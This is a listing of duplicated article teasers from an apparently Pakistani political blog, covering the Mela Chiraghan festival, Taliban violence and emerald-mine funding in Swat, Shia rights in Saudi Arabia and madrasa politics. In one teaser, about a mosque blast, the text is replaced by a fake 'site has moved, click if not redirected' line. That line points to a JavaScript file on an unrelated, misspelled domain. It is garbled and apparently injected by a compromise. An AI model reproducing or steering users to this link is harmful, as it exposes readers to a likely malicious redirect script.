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Mela Charaghan (Festival of Lights) in Lahore: Life and Poetry of Madhu Lal Hussain: Madhu Lal Hussain said,“Be never engaged at allin arguments so longbut ponder over your endso says Hussain Faqir.” Mela Chiraghan or Mela Shalamar (“Festival of Lights”) is a three day annual festival to mark the urs (death anniversary) of

Mela Charaghan (Festival of Lights) in Lahore: Life and Poetry of Madhu Lal Hussain: Madhu Lal Hussain said: “Be never engaged at all in arguments so long but ponder over your end so says Hussain Faqir.” Mela Chiraghan or Mela Shalamar (“Festival of Lights”) is a three day annual festival to mark the

Death toll in Pakistan mosque blast may reach 70: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected

Death toll in Pakistan mosque blast may reach 70: The Taliban and their jihadi and sectarian associates attack mosques, imambargahs, funerals, schools, army, police, political leaders alike. Sometimes they openly claim the responsibility of their heinous crimes. On other occasions, they remain silent for their own strategic gains.

Is ISI funding Taliban in Swat through emerald mines?: Taliban take over Swat’s emerald mines The Taliban take one-third of the yield from all miners and the costs are shared equally by the Taliban and the miners. – Reuters/File photo. TALIBAN in Swat have taken over emerald mines

Who is funding Taliban in Swat through emerald mines?: Taliban take over Swat’s emerald mines The Taliban take one-third of the yield from all miners and the costs are shared equally by the Taliban and the miners. – Reuters/File photo. TALIBAN in Swat have taken over emerald mines

Imtiaz Gul: Expansion of war theatre: In an interview with The Washington Post, Kilcullen warned that if Pakistan went out of control, it would ‘dwarf’ all the crises in the world today. “Pakistan. Hands down. No doubt,” he said when asked to name the central

Imtiaz Gul: Expansion of war theatre: In an interview with The Washington Post, Kilcullen warned that if Pakistan went out of control, it would ‘dwarf’ all the crises in the world today. “Pakistan. Hands down. No doubt,” he said when asked to name the central

How Saudi Arabia has stayed immune from terrorist attacks all this while?: An expat’s question By Muhammad Ali Pakistan’s dictators have never been as brutal as those in other parts of the world – File photo. MUNA Khan, a former Dawn hand, now abroad and working for a news agency, emailed

How Saudi Arabia has stayed immune from terrorist attacks all this while?: An expat’s question By Muhammad Ali Pakistan’s dictators have never been as brutal as those in other parts of the world – File photo. MUNA Khan, a former Dawn hand, now abroad and working for a news agency, emailed

Shia in Saudi Arabia: Reports by BBC and the Financial Times: Saudi Arabia’s Shia press for rights By Anees al-Qudaihi BBC Arabic Service Underlying tensions between Sunni and Shia in the Middle East have escalated to full-scale crises in the past few years in countries such as Iraq, Lebanon, Bahrain,

Shia Muslims in Saudi Arabia: Reports by BBC and Financial Times: Saudi Arabia’s Shia press for rights By Anees al-Qudaihi BBC Arabic Service Underlying tensions between Sunni and Shia in the Middle East have escalated to full-scale crises in the past few

Hamid Mir: Who broke Pakistan?: The grandson of late Bengali leader Abul Hashim wrote me a letter about my last article on Lahore Resolution published in this newspaper on March 23. Abul Hashim was the Secretary General of Muslim League in United Bengal before

Who broke Pakistan? – by Hamid Mir: The grandson of late Bengali leader Abul Hashim wrote me a letter about my last article on Lahore Resolution published in this newspaper on March 23. Abul Hashim was the Secretary General of Muslim League in United Bengal before

In the aftermath of the Long March “revolution” in Pakistan: Asadullah Ghalib, Express, 26 March 2009 …. Nazir Naji, Jang, 26 March 2009 …. Storming the Supreme Court with litigation Hardly had Chief Justice Iftikhar Muhammad Chaudhry resumed his office at the Supreme Court than “constitutional” petitions were filed

“Let us build Pakistan” supports the “Preventing Violent Extremism” program.: No matter which way we turn in these troubled times it seems there is always somebody pointing an accusatory finger at us. Today it is the turn of the British, the country with which we have perhaps the closest

LUBP supports the "Preventing Violent Extremism" program: No matter which way we turn in these troubled times it seems there is always somebody pointing an accusatory finger at us. Today it is the turn of the British, the country with which we have perhaps the closest

Mapping the Madrasa Mindset: Political Attitudes of Pakistani Seminaries: Muhammad Amir Rana24-3-2009 Pakistani madaris are perceived as a catalyst factor promoting orthodox views. Many analystsview that their role in shaping the views of the masses and their students is a serious concern formany. Their affiliation with political, sectarian

Mapping the Madrasa Mindset: Political Attitudes of Pakistani Seminaries: Muhammad Amir Rana24-3-2009 Pakistani madaris are perceived as a catalyst factor promoting orthodox views. Many analystsview that their role in shaping the views of the masses and their students is a serious concern